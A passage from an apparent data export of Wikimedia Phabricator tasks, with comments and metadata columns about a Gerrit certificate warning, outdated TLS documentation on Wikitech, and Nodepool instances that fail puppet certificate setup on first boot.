I discussed this issue with @Krenair earlier today. The warning in Chrome is unsightly. He says we just need a new certificate for gerrit.wikimedia.org that doesn't rely on outdated algorithms, maybe?

en.wikipedia.org and lists.wikimedia.org both seem unaffected by this issue. @Dzahn: it feels like gerrit.wikimedia.org is already using its own certificate... does a new one need to be purchased or could we just fix the current one?",,,1420001052,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-27,True,0.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,5.0,0.0,9.0,8.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,10.0,1.0,2.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,6.0,5.0,7.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,8.0,8.0,6.0,2.0,0.0,0.0,8.0,0.0,1.0,3.0,0.0,1.0,1.0,0.0,0.0,4.8522727272727275,0.7727272727272727,"I agree with this task being a relatively high priority.

I discussed this issue withSCREEN_NAME earlier today. The warning in Chrome is unsightly. He says we just need a new certificate for gerrit.wikimedia.org that doesn't rely on outdated algorithms, maybe?

en.wikipedia.org and lists.wikimedia.org both seem unaffected by this issue.SCREEN_NAME: it feels like gerrit.wikimedia.org is already using its own certificate... does a new one need to be purchased or could we just fix the current one?"
392088,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#846225, @Seb35 wrote:
> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.

The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?",,,1419256887,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,0.8846153846153846,"QUOTE
QUOTE

The screenshot doesn't make it look like that is the actual issue but instead that it comes from RapidSSL. ?"
392087,Chrome warns about insecure certificate on gerrit.wikimedia.org,"ways to solve this:

- resolve T18
- buy a new cert
- move gerrit behind misc-web varnish?? (without caching)
",,,1419256546,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.032258064516129,0.8064516129032258,"ways to solve this:

- resolve T18
- buy a new cert
- move gerrit behind misc-web varnish?? (without caching)
"
392084,Chrome warns about insecure certificate on gerrit.wikimedia.org,">>! In T76562#846225, @Seb35 wrote:
> The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.

but we don't want to copy that cert to the gerrit host.",,,1419255849,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-28,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.8888888888888888,"QUOTE
QUOTE

but we don't want to copy that cert to the gerrit host."
341953,Chrome warns about insecure certificate on gerrit.wikimedia.org,The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.,,,1418492302,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,False,,,-29,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.3,0.95,The certificate *.wikimedia.org used on phabricator.wikimedia.org and other sites can be used; it has a SHA-256 signature.
335836,Chrome warns about insecure certificate on gerrit.wikimedia.org,Also see {T73156} about another Chrome warning for Gerrit.,,,1417615582,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bw55vakzcnxdtorfihta,task_subcomment,,True,c3,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,Also see {T73156} about another Chrome warning for Gerrit.
97316,review/rebase/merge the final sslcert patch...,https://gerrit.wikimedia.org/r/#/c/197341/ <- so I don't forget again!,Medium,50.0,1430156915,1433212378.0,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-4qvck4txjpmx5ad7wnoq,task_description,resolved,True,c3,1,True,True,True,-10,True,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.5,1.0,URL <- so I don't forget again!
467201,review/rebase/merge the final sslcert patch...,"This was broken up and then merged/fixed over 4 commits:

https://gerrit.wikimedia.org/r/197341
https://gerrit.wikimedia.org/r/215266
https://gerrit.wikimedia.org/r/215268
https://gerrit.wikimedia.org/r/215249

It's now deployed everywhere, and I know that the certs it can/will create are either identical to or better than the existing certs everywhere (verified).

However, as it stands, the x509-bundle stuff doesn't overwrite older existing chained.crt files, it only generates missing ones.  In many cases, the current ones are wrong and should be replaced.  Should we just take the `creates` check off of it for a a while and let it do so? I don't think services get auto-restarted on that either, but it would be a start...",,,1433212378,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-4qvck4txjpmx5ad7wnoq,task_subcomment,,True,c3,1,True,,,-5,True,0.5,0.0,0.0,1.0,1.0,4.5,1.5,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,2.0,0.0,6.5,6.5,0.0,0.0,1.5,0.5,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,5.5,2.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,10.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,5.0,3.0,7.0,0.5,4.0,6.5,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,6.5,6.5,2.0,0.5,0.0,0.0,6.5,0.0,0.0,2.0,0.0,2.0,1.0,0.0,0.0,3.8382352941176467,0.7794117647058822,"This was broken up and then merged/fixed over 4 commits:

GERRIT_URL
GERRIT_URL
GERRIT_URL
GERRIT_URL

It's now deployed everywhere, and I know that the certs it can/will create are either identical to or better than the existing certs everywhere (verified).

However, as it stands, the x509-bundle stuff doesn't overwrite older existing chained.crt files, it only generates missing ones.  In many cases, the current ones are wrong and should be replaced.  Should we just take the CODE check off of it for a a while and let it do so? I don't think services get auto-restarted on that either, but it would be a start..."
96844,Update TLS/HTTP documentation on wikitech,"https://wikitech.wikimedia.org/wiki/HTTPS is outdated.

...as pointed out by @BBlack in https://phabricator.wikimedia.org/T96676#1225820",Medium,50.0,1429709693,1673982559.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-xmodofj3xfcdg43wyifb,False,PHID-TASK-n6plnuqoeem5twifpdjp,task_description,duplicate,True,c3,1,True,False,False,-11,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9166666666666666,"URL is outdated.

...as pointed out bySCREEN_NAME in URL"
2050533,Update TLS/HTTP documentation on wikitech,"Even though this is the older ticket, marking as a dupe of T240813 since that had more relevant information.",,,1673982566,,PHID-USER-xmodofj3xfcdg43wyifb,True,,,PHID-TASK-n6plnuqoeem5twifpdjp,task_subcomment,,True,c3,3,True,,,393,True,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,10.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,4.285714285714286,1.0,"Even though this is the older ticket, marking as a dupe of T240813 since that had more relevant information."
1777827,Update TLS/HTTP documentation on wikitech,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!",,,1630538490,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-n6plnuqoeem5twifpdjp,task_subcomment,,True,c3,3,True,,,321,True,2.0,0.0,0.0,1.0,1.0,9.5,1.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.0,17.5,0.5,1.5,0.0,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,6.5,2.0,3.5,0.0,2.5,10.5,0.0,0.0,1.0,2.0,1.5,0.0,0.5,0.0,1.0,11.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.0,2.5,0.0,0.0,3.8387987012987015,0.8558441558441559,"The swap of #traffic for #traffic-icebox in this ticket's set of tags was based on a bulk action for all such tickets that haven't been updated in 6 months or more.  This does not imply any human judgement about the validity or importance of the task, and is simply the first step in a larger task cleanup effort.  Further manual triage and/or requests for updates will happen this month for all such tickets.  For more detail, have a look at the extended explanation on the main page of #traffic-icebox .  Thank you!"
1411662,Update TLS/HTTP documentation on wikitech,"This task has been open since 2015 and the Wikitech HTTPS documentation is still in need of improvement. While the HTTPS pages on Wikitech have been updated since then, the HTTPS requirements on Wikimedia sites are undergoing a large change due to T238038.

Other OTRS agents and I have noticed this issue while dealing with various complaints about the deprecation warning. One ticket I handled needed more technical information about the requirements because they thought their systems supported TLS 1.2. That information was not easy to find or complete. Another agent handled a ticket with a complaint that [[https://wikitech.wikimedia.org/wiki/HTTPS/Browser_Recommendations|HTTPS/Browser Recommendations § Network Security Matters]] said they could still read pages when they were being prevented from doing so.

Because the information that should be on these pages is not readily available, they need to be updated by someone who knows how HTTPS is configured on Wikimedia sites.",,,1576467152,,PHID-USER-kbzm2um2jcqzty52qf5a,True,,,PHID-TASK-n6plnuqoeem5twifpdjp,task_subcomment,,True,c3,3,False,,,232,True,0.0,0.5,0.0,3.0,1.0,4.5,2.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,6.0,12.5,0.5,1.0,0.5,2.0,0.0,4.5,0.0,0.0,0.0,0.5,0.0,0.0,5.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.5,0.5,0.0,0.5,0.0,9.5,0.0,3.0,0.0,0.5,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,0.0,0.5,0.5,0.5,0.5,5.0,6.5,14.0,5.0,1.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,4.0,12.5,9.5,0.0,0.0,0.0,4.0,0.0,2.5,1.5,0.0,1.5,0.5,0.0,1.0,4.728395061728396,0.7962962962962963,"This task has been open since 2015 and the Wikitech HTTPS documentation is still in need of improvement. While the HTTPS pages on Wikitech have been updated since then, the HTTPS requirements on Wikimedia sites are undergoing a large change due to T238038.

Other OTRS agents and I have noticed this issue while dealing with various complaints about the deprecation warning. One ticket I handled needed more technical information about the requirements because they thought their systems supported TLS 1.2. That information was not easy to find or complete. Another agent handled a ticket with a complaint that [[URL Recommendations § Network Security Matters]] said they could still read pages when they were being prevented from doing so.

Because the information that should be on these pages is not readily available, they need to be updated by someone who knows how HTTPS is configured on Wikimedia sites."
96670,Instances created by Nodepool cant run puppet due to missing certificate,"When Nodepool spawns a Trusty image, the instance stall on boot while doing the puppet certificate work:
```
Info: Creating a new SSL key for i-00000b80.eqiad.wmflabs
Info: Caching certificate for ca
Info: csr_attributes file loading from /etc/puppet/csr_attributes.yaml
Info: Creating a new SSL certificate request for i-00000b80.eqiad.wmflabs
Info: Certificate Request fingerprint (SHA256): 24:DD:BF:BC:FA:B4:42:BC:E5:3D:58:F5:15:9F:51:D1:DE:7B:11:E1:F1:99:6A:D8:3A:CB:6F:B2:D4:E0:F6:BB
Info: Caching certificate for ca
Notice: Did not receive certificate
Notice: Did not receive certificate
Notice: Did not receive certificate
```

On Wikitech, the Nova_Resource page shows that it is missing a few fields injected by OpenStackManager. Compared to the [[ https://wikitech.wikimedia.org/wiki/Nova_Resource:I-00000b7b.eqiad.wmflabs | an instance manually created]], the instance spawned by Nodepool one is missing the fields:

```
Resource type
    instance
Image Id
    ubuntu-14.04-trusty
FQDN
    i-00000b7b.eqiad.wmflabs
Puppet Class
    base, role::labs::instance
Puppet Var
    realm=labs, use_dnsmasq=true, instanceproject=contintcloud, instancename=trusty-manual
```

Looking at `firstboot.sh`, the script does a LDAP search to grab puppet vars:
```
$ ldapsearch -x -D 'cn=proxyagent,ou=profile,dc=wikimedia,dc=org' -w '###########' -b 'ou=hosts,dc=wikimedia,dc=org' 'dc=i-00000b7b.eqiad.wmflabs'|grep puppetVar
puppetVar: realm=labs
puppetVar: use_dnsmasq=true
puppetVar: instanceproject=contintcloud
puppetVar: instancename=trusty-manual
```

The same query yields nothing for the NodePool instance since that is injected by OpenStack manager.",Medium,50.0,1429616908,1437570868.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-k5lzews4o4mdcrqwu4km,task_description,resolved,True,c3,1,True,True,True,-11,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,26.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,16.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.116279069767442,0.8604651162790697,"When Nodepool spawns a Trusty image, the instance stall on boot while doing the puppet certificate work:
``CODE`CODE`CODE`CODEfirstboot.shCODE`CODE``

The same query yields nothing for the NodePool instance since that is injected by OpenStack manager."
494849,Instances created by Nodepool cant run puppet due to missing certificate,@Andrew fixed labs so we can boot instances from the OpenStack API and I confirmed it works fine.  We can also spawn them from the Horizon dashboard!,,,1437570868,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,20.0,3.0,3.0,7.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,17.0,10.0,7.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.233333333333333,0.9,SCREEN_NAME fixed labs so we can boot instances from the OpenStack API and I confirmed it works fine.  We can also spawn them from the Horizon dashboard!
477855,Instances created by Nodepool cant run puppet due to missing certificate,"Change 210032 abandoned by Hashar:
labs: support injecting tenant in firstboot.sh

Reason:
Probably not needed anymore

[[https://gerrit.wikimedia.org/r/210032]]",,,1434701134,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.357142857142857,0.7857142857142857,"Change 210032 abandoned by Hashar:
labs: support injecting tenant in firstboot.sh

Reason:
Probably not needed anymore

[[GERRIT_URL]]"
473069,Instances created by Nodepool cant run puppet due to missing certificate,That task is the reason instances booted on labs by nodepool do not manage to first boot.,,,1434038327,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-3,True,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,1.0,That task is the reason instances booted on labs by nodepool do not manage to first boot.
473036,Instances created by Nodepool cant run puppet due to missing certificate,"Change 210032 had a related patch set uploaded (by Hashar):
labs: support injecting tenant in firstboot.sh

[[https://gerrit.wikimedia.org/r/210032]]
",,,1434036442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,4.037037037037037,0.8888888888888888,"Change 210032 had a related patch set uploaded (by Hashar):
labs: support injecting tenant in firstboot.sh

[[GERRIT_URL]]
"
450626,Instances created by Nodepool cant run puppet due to missing certificate,"For now, only the CI isolation project is going to spawn instances directly via the OpenStack API.  In firstboot.sh, the only line relying on puppetVar is:

    project=`ldapsearch -x -D ${binddn} -w ${bindpw} -b ${hostsou} ""dc=${idfqdn}"" puppetvar | grep 'instanceproject' | sed 's/.*=//'`

Which is merely fetch from ldap the puppetvar fields to get the labs project name.  For CI isolation we are going to use custom images. We could teach firstboot.sh to source a file that contains environment variables and hardcode the project to contintcloud. Something like:

**firstboot.env**
```
lang=bash
WMFLABS_INSTANCE_PROJECT=""contintcloud
```

**firstboot.sh**
```
lang=bash
[ -f firstboot.env ] && . firstboot.env

project_from_ldap=`ldapsearch -x -D ${binddn} -w ${bindpw} -b ${hostsou} ""dc=${idfqdn}"" puppetvar | grep 'instanceproject' | sed 's/.*=//'`
project={WMFLABS_INSTANCE_PROJECT:-$project_from_ldap}
```

This way we can override the ldapsearch in the CI custom images.





",,,1430253900,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-10,True,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.5,0.0,1.5,0.0,2.5,7.0,0.5,2.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,14.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.0,8.0,0.0,1.5,6.5,0.0,0.0,0.0,0.0,4.5,0.5,1.0,0.0,1.5,7.0,8.0,0.0,3.5,0.0,1.5,0.0,1.0,0.5,0.0,1.5,0.5,0.0,0.5,4.104655712050079,0.7062793427230047,"For now, only the CI isolation project is going to spawn instances directly via the OpenStack API.  In firstboot.sh, the only line relying on puppetVar is:

    project=CODE

Which is merely fetch from ldap the puppetvar fields to get the labs project name.  For CI isolation we are going to use custom images. We could teach firstboot.sh to source a file that contains environment variables and hardcode the project to contintcloud. Something like:

**firstboot.env**
``CODE`CODE`CODEldapsearch -x -D ${binddn} -w ${bindpw} -b ${hostsou} ""dc=${idfqdn}"" puppetvar | grep 'instanceproject' | sed 's/.*=//'CODE``

This way we can override the ldapsearch in the CI custom images.





"
447052,Instances created by Nodepool cant run puppet due to missing certificate,I'm in the process of moving the ldap record creation out of openstackmanager and into a designate callback -- after that's done instances created on the commandline will work the same as those created by the gui.  Many of the pieces of that are already in place; I'll try to pick up the pace a bit.,,,1429623777,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-k5lzews4o4mdcrqwu4km,task_subcomment,,True,c3,1,True,,,-11,True,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,5.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,22.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,3.873015873015873,0.7619047619047619,I'm in the process of moving the ldap record creation out of openstackmanager and into a designate callback -- after that's done instances created on the commandline will work the same as those created by the gui.  Many of the pieces of that are already in place; I'll try to pick up the pace a bit.
447044,Instances created by Nodepool cant run puppet due to missing certificate,"+ @Andrew

NodePool has support to store key/values in OpenStack metadata service from http://ci.openstack.org/nodepool/configuration.html?highlight=region#images
```
lang=yaml
images:
  - name: precise
    base-image: 'Precise'
    min-ram: 8192
    name-filter: 'm1.medium'
    setup: prepare_node.sh
    reset: reset_node.sh
    username: jenkins
    private-key: /var/lib/jenkins/.ssh/id_rsa
    vvvvvvvvvvvvvvv
    meta:
        key: value
        key2: value
    ^^^^^^^^^^^^^^^
```

I gave it a try but apparently the meta informations are not published, or at least they do not show up in the Horizon dashboard.


Anyway, the PuppetVar and PuppetClasses are populated by OpenStackManager and I don't think it is a good idea to duplicate them in NodePool configuration file.   Instead I am wondering whether we could have OpenStackManager publish the metadata information and adjust firstboot.sh to fetch them via the `http://169.254.169.254/openstack/latest/meta_data.json` interface.  Tough it yields json :(

From our wikitech.php we have:

```
lang=php
